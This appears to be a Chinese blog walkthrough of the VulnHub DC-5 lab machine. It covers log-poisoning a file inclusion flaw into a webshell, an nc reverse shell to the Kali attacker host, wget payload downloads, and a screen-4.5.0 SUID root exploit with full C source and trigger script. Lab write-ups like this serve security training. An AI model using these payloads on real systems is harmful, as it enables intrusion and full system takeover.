【vulnhub】DC系列之DC-5渗透测试

一、实验环境

目标靶机:DC-5,NAT模式
在这里插入图片描述
攻击机:kali,NAT模式,IP:192.168.35.131

二、实验要求

拿到唯一的flag即算过关!

三、渗透过程

信息收集:

老一套先使用nmap进行存活主机的探测:

nmap -sP 192.168.35.0/24 -oN nmap.sV

在这里插入图片描述
拿到IP:192.168.35.152

进行端口扫描:

nmap -p 1-65535 -sV 192.168.35.152 -O -oN nmap.sV

在这里插入图片描述
使用浏览器访问80端口:
在这里插入图片描述
发现唯一一个动态页面,尝试提交一些东西:
在这里插入图片描述
在这里插入图片描述
发现参数是get方式提交的,不管提交啥都会跳转到thankyou.php页面,输出同样的内容,但是底部的年份会发生变化。

对页面进行爆破:
在这里插入图片描述

选择字典
在这里插入图片描述
成功爆破出几个页面:
在这里插入图片描述
访问之后发现footer.php页面有猫腻儿:
在这里插入图片描述
刷新年份会改变,盲猜thankyou页面包含了footer页面,接下来测试一下是否为动态包含

在这里插入图片描述
选择字典之后对其进行测试:
在这里插入图片描述
发现好多返回200的,页面都能正常加载(不管参数是啥返回结果都一样),没有得到有用的信息

这次我们设置两个变量再次进行测试:
在这里插入图片描述
这次终于发现了和刚才不一样的地方:
在这里插入图片描述
同一个参数出现了多次,而且后面的长度和第一次也有所区别。

我们来到页面验证我们的猜测:
在这里插入图片描述
猜中!说明存在文件包含漏洞

来看一看是否能够进行远程文件包含:
在这里插入图片描述
发现不行,这时候想到可以在日志文件中写入小马,然后进行连接

百度到nginx服务的日志路径为:

/var/log/nginx/error.log    错误日志文件

/var/log/nginx/access.log   访问日志文件

我们首先进行抓包,然后将一句话木马当成访问路径进行提交:
在这里插入图片描述
我们使用蚁剑进行连接(连接access日志):
在这里插入图片描述
连接之后我们可以在/tmp目录下新建一个小马文件,因为日志文件会不断增加,有时候太大了可能连接不上:
在这里插入图片描述
重新连接,感觉速度提升了不少!
在这里插入图片描述
之后我们要先获得一个比较稳定的shell

首先查看系统中有无nc命令:
在这里插入图片描述
发现存在,我们就可以使用nc反弹shell到本地:

nc -e /bin/bash 192.168.35.131 1234

在这里插入图片描述

使用nc在本地监听1234端口:

nc -nlvp 1234

在这里插入图片描述
注意:先监听,后反弹

使用python反弹一个交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

提权:

我们首先看一下有没有sudo命令:
在这里插入图片描述
没有,再看一下有无suid权限:

find / -perm 4000 2>/dev/null

在这里插入图片描述
发现有一个软件在执行的时候拥有suid权限:

查找screen-4.5.0有没有什么漏洞:

searchsploit screen 4.5.0

在这里插入图片描述
发现有漏洞,我们将exp下载到当前目录:

searchsploit -m linux/local/41154.sh

在这里插入图片描述
然后使用python开启一个web服务:

python -m SimpleHttpServer 80

在这里插入图片描述
将脚本文件下载到靶机中:

wget http://192.168.35.131/41154.sh

在这里插入图片描述
增加执行权限:

chmod +x 41154.sh

发现不能执行,可能是不能编译:
在这里插入图片描述
这时候我们可以打开这个脚本文件分析一下:
在这里插入图片描述
方法已经有了,既然在远程执行不了,我们在本地编译一下:

存储libhax.c文件:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

在这里插入图片描述
编译它(注意路径):

gcc -fPIC -shared -ldl -o libhax.so libhax.c

在这里插入图片描述
存储rootshell.c文件:

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

在这里插入图片描述

编译它:

gcc -o rootshell rootshell.c

在这里插入图片描述
保存dc-5.sh脚本文件:

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

在这里插入图片描述
然后再将这几个文件上传到靶机之中(使用wget的方式):
在这里插入图片描述
给dc-5一个执行权限,之后执行脚本:
在这里插入图片描述
直接拿到root权限:
在这里插入图片描述
渗透完成

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值